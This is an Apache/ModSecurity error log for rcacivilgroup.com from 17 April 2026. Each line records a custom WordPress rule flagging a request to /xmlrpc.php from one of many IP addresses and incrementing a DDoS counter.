[Fri Apr 17 01:36:31.132046 2026] [:error] [pid 43482:tid 43498] [client 20.212.251.69:38280] [client 20.212.251.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.212.251.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEeHz9SZnuKxlHrct2j2QAAAM4"]
[Fri Apr 17 01:39:16.563550 2026] [:error] [pid 11692:tid 11717] [client 217.160.225.18:58860] [client 217.160.225.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.225.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEexM1AYuhm4BZwKNocogAAAhQ"]
[Fri Apr 17 01:40:46.732337 2026] [:error] [pid 43385:tid 43391] [client 95.173.103.120:53084] [client 95.173.103.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.173.103.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEfHsnIxkJaUI8KNs4nCwAAAAI"]
[Fri Apr 17 01:42:40.165536 2026] [:error] [pid 26102:tid 26120] [client 161.97.171.174:58488] [client 161.97.171.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.97.171.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEfkP127aFqw6ALdngZ0AAAAY8"]
[Fri Apr 17 01:44:31.728010 2026] [:error] [pid 43482:tid 43485] [client 85.128.143.123:42132] [client 85.128.143.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEf_z9SZnuKxlHrct2msAAAAME"]
[Fri Apr 17 01:44:54.829178 2026] [:error] [pid 26102:tid 26125] [client 40.77.105.187:25536] [client 40.77.105.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 40.77.105.187, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEgFv127aFqw6ALdngaSwAAAZQ"]
[Fri Apr 17 01:45:46.048034 2026] [:error] [pid 11692:tid 11719] [client 157.66.27.30:54728] [client 157.66.27.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEgSs1AYuhm4BZwKNoeHgAAAhY"]
[Fri Apr 17 01:46:45.230903 2026] [:error] [pid 43386:tid 43431] [client 176.96.136.90:49140] [client 176.96.136.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.96.136.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEghe91GAVgUfhPVDHO0gAAAEs"]
[Fri Apr 17 01:47:29.527160 2026] [:error] [pid 26102:tid 26110] [client 37.128.148.215:34814] [client 37.128.148.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.128.148.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEgsf127aFqw6ALdngasgAAAYU"]
[Fri Apr 17 01:49:54.512169 2026] [:error] [pid 43385:tid 43408] [client 82.223.165.55:46500] [client 82.223.165.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.165.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEhQsnIxkJaUI8KNs4prwAAABM"]
[Fri Apr 17 01:50:30.571318 2026] [:error] [pid 43386:tid 43444] [client 195.128.242.18:51372] [client 195.128.242.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.128.242.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEhZu91GAVgUfhPVDHSEAAAAFc"]
[Fri Apr 17 01:52:35.112798 2026] [:error] [pid 26480:tid 26488] [client 185.199.223.27:59438] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEh4wwLDJKTQNfarA2DygAAAcY"]
[Fri Apr 17 01:52:58.965097 2026] [:error] [pid 43482:tid 43484] [client 84.201.130.79:50960] [client 84.201.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.201.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEh-j9SZnuKxlHrct2rRwAAAMA"]
[Fri Apr 17 01:54:03.845488 2026] [:error] [pid 26480:tid 26485] [client 85.128.143.151:50300] [client 85.128.143.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.151, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEiOwwLDJKTQNfarA2EXgAAAcM"]
[Fri Apr 17 01:54:23.872737 2026] [:error] [pid 11692:tid 11706] [client 23.98.148.92:50702] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEiT81AYuhm4BZwKNof8QAAAgk"]
[Fri Apr 17 01:56:38.662334 2026] [:error] [pid 43482:tid 43488] [client 157.245.107.90:37406] [client 157.245.107.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.107.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEi1j9SZnuKxlHrct2s1gAAAMQ"]
[Fri Apr 17 01:57:43.265286 2026] [:error] [pid 43385:tid 43391] [client 139.99.61.38:44698] [client 139.99.61.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.99.61.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEjF8nIxkJaUI8KNs4rgQAAAAI"]
[Fri Apr 17 02:01:53.587668 2026] [:error] [pid 11692:tid 11710] [client 95.110.143.247:38972] [client 95.110.143.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.110.143.247, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEkEc1AYuhm4BZwKNog9gAAAg0"]
[Fri Apr 17 02:03:17.491996 2026] [:error] [pid 11854:tid 11864] [client 212.132.70.123:33294] [client 212.132.70.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.132.70.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEkZdxJCSIaqP1XSdafyAAAAkc"]
[Fri Apr 17 02:03:21.366809 2026] [:error] [pid 43386:tid 43423] [client 165.22.37.239:58266] [client 165.22.37.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.37.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEkae91GAVgUfhPVDHZYwAAAEM"]
[Fri Apr 17 02:04:07.766627 2026] [:error] [pid 11692:tid 11711] [client 23.98.148.92:58730] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEkl81AYuhm4BZwKNohQwAAAg4"]
[Fri Apr 17 02:11:47.277897 2026] [:error] [pid 43482:tid 43505] [client 67.205.43.38:45852] [client 67.205.43.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.43.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEmYz9SZnuKxlHrct2xpAAAANU"]
[Fri Apr 17 02:12:23.577645 2026] [:error] [pid 26480:tid 26500] [client 65.21.67.136:46974] [client 65.21.67.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.21.67.136, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEmhwwLDJKTQNfarA2JVQAAAdI"]
[Fri Apr 17 02:13:30.992383 2026] [:error] [pid 11854:tid 11857] [client 78.46.191.135:50546] [client 78.46.191.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.46.191.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEmytxJCSIaqP1XSdag-QAAAkA"]
[Fri Apr 17 02:14:53.492401 2026] [:error] [pid 3245:tid 3280] [client 176.60.210.112:45780] [client 176.60.210.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.60.210.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEnHaESOMTHVLs-uFDbegAAARI"]
[Fri Apr 17 02:16:02.969853 2026] [:error] [pid 43482:tid 43487] [client 194.164.166.170:60044] [client 194.164.166.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.166.170, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEnYj9SZnuKxlHrct2zLwAAAMM"]
[Fri Apr 17 02:19:27.868445 2026] [:error] [pid 4086:tid 4101] [client 109.172.115.12:40894] [client 109.172.115.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.172.115.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEoL1lz7gxl_exM0FpOlQAAAU0"]
[Fri Apr 17 02:27:49.865492 2026] [:error] [pid 26102:tid 26115] [client 20.237.8.18:16128] [client 20.237.8.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.237.8.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEqJf127aFqw6ALdnggpwAAAYo"]
[Fri Apr 17 02:28:56.865519 2026] [:error] [pid 43386:tid 43435] [client 51.210.123.31:40732] [client 51.210.123.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.123.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEqaO91GAVgUfhPVDHktAAAAE8"]
[Fri Apr 17 02:28:58.884029 2026] [:error] [pid 43385:tid 43411] [client 185.51.79.114:34382] [client 185.51.79.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.51.79.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEqasnIxkJaUI8KNs4x1gAAABU"]
[Fri Apr 17 02:31:25.317973 2026] [:error] [pid 43387:tid 43458] [client 64.92.9.212:53910] [client 64.92.9.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.92.9.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEq_SBNsONqHxWTakVOZAAAAIc"]
[Fri Apr 17 02:37:40.957166 2026] [:error] [pid 43482:tid 43497] [client 212.129.7.184:49930] [client 212.129.7.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.129.7.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEsdD9SZnuKxlHrct27HwAAAM0"]
[Fri Apr 17 02:37:44.061991 2026] [:error] [pid 43387:tid 43453] [client 40.77.105.187:25536] [client 40.77.105.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 40.77.105.187, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEseCBNsONqHxWTakVQ6QAAAIM"]
[Fri Apr 17 02:38:32.625664 2026] [:error] [pid 43387:tid 43469] [client 190.121.23.218:60360] [client 190.121.23.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.121.23.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEsqCBNsONqHxWTakVRKgAAAJA"]
[Fri Apr 17 02:40:18.550787 2026] [:error] [pid 43482:tid 43492] [client 180.181.244.244:43076] [client 180.181.244.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.181.244.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEtEj9SZnuKxlHrct27zgAAAMg"]
[Fri Apr 17 02:41:36.631408 2026] [:error] [pid 43387:tid 43477] [client 82.214.112.168:53604] [client 82.214.112.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.214.112.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEtYCBNsONqHxWTakVS1QAAAJg"]
[Fri Apr 17 02:43:22.000834 2026] [:error] [pid 26480:tid 26493] [client 195.128.242.18:46262] [client 195.128.242.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.128.242.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEtyQwLDJKTQNfarA2RwgAAAcs"]
[Fri Apr 17 02:43:37.130290 2026] [:error] [pid 26102:tid 26125] [client 103.57.222.160:35976] [client 103.57.222.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.57.222.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEt2f127aFqw6ALdngilwAAAZQ"]
[Fri Apr 17 02:43:42.885722 2026] [:error] [pid 43482:tid 43491] [client 85.128.143.124:36596] [client 85.128.143.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEt3j9SZnuKxlHrct29bgAAAMc"]
[Fri Apr 17 02:43:51.804867 2026] [:error] [pid 43386:tid 43421] [client 82.154.116.112:38788] [client 82.154.116.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.154.116.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEt5-91GAVgUfhPVDHpoQAAAEE"]
[Fri Apr 17 02:44:23.328062 2026] [:error] [pid 43387:tid 43471] [client 107.180.252.236:36296] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.252.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEuByBNsONqHxWTakVUYwAAAJI"]
[Fri Apr 17 02:49:48.894800 2026] [:error] [pid 26480:tid 26493] [client 96.9.125.116:36532] [client 96.9.125.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.9.125.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEvTAwLDJKTQNfarA2TLwAAAcs"]
[Fri Apr 17 02:50:00.192162 2026] [:error] [pid 43387:tid 43458] [client 20.212.251.69:49016] [client 20.212.251.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.212.251.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEvWCBNsONqHxWTakVXEAAAAIc"]
[Fri Apr 17 02:53:12.684624 2026] [:error] [pid 26480:tid 26489] [client 138.122.43.166:48154] [client 138.122.43.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.122.43.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEwGAwLDJKTQNfarA2T3QAAAcc"]
[Fri Apr 17 02:53:16.326945 2026] [:error] [pid 43386:tid 43434] [client 211.21.61.245:59694] [client 211.21.61.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEwHO91GAVgUfhPVDHutwAAAE4"]
[Fri Apr 17 02:57:00.127895 2026] [:error] [pid 43387:tid 43456] [client 82.223.33.117:34548] [client 82.223.33.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.33.117, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEw_CBNsONqHxWTakVasgAAAIU"]
[Fri Apr 17 02:58:26.046910 2026] [:error] [pid 43482:tid 43499] [client 37.128.148.215:39400] [client 37.128.148.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.128.148.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeExUj9SZnuKxlHrct3B7wAAAM8"]
[Fri Apr 17 02:58:39.459632 2026] [:error] [pid 43482:tid 43498] [client 113.161.54.245:57926] [client 113.161.54.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.161.54.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeExXz9SZnuKxlHrct3CAAAAAM4"]
[Fri Apr 17 03:00:34.382142 2026] [:error] [pid 43386:tid 43445] [client 147.93.131.179:46320] [client 147.93.131.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.93.131.179, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEx0u91GAVgUfhPVDHxSwAAAFg"]
[Fri Apr 17 03:02:29.760324 2026] [:error] [pid 43482:tid 43494] [client 81.169.226.163:48928] [client 81.169.226.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.169.226.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEyRT9SZnuKxlHrct3DfAAAAMo"]
[Fri Apr 17 03:06:43.551103 2026] [:error] [pid 11692:tid 11702] [client 172.176.155.194:48998] [client 172.176.155.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.176.155.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEzQ81AYuhm4BZwKNos5wAAAgU"]
[Fri Apr 17 03:09:52.984931 2026] [:error] [pid 43385:tid 43407] [client 67.205.159.76:25718] [client 67.205.159.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.159.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE0AMnIxkJaUI8KNs45cQAAABI"]
[Fri Apr 17 03:10:15.083439 2026] [:error] [pid 43387:tid 43461] [client 85.215.188.44:55396] [client 85.215.188.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.215.188.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE0FyBNsONqHxWTakVkDQAAAIo"]
[Fri Apr 17 03:13:31.100729 2026] [:error] [pid 43386:tid 43431] [client 185.199.223.93:36820] [client 185.199.223.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE02-91GAVgUfhPVDH2lgAAAEs"]
[Fri Apr 17 03:15:53.226813 2026] [:error] [pid 26102:tid 26117] [client 194.164.91.114:47606] [client 194.164.91.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.91.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE1af127aFqw6ALdngmHwAAAYw"]
[Fri Apr 17 03:18:46.207952 2026] [:error] [pid 43387:tid 43471] [client 104.168.115.206:47486] [client 104.168.115.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.168.115.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE2FiBNsONqHxWTakVp6QAAAJI"]
[Fri Apr 17 03:20:53.587029 2026] [:error] [pid 11854:tid 11878] [client 204.48.18.182:57892] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE2ldxJCSIaqP1XSdaqZwAAAlU"]
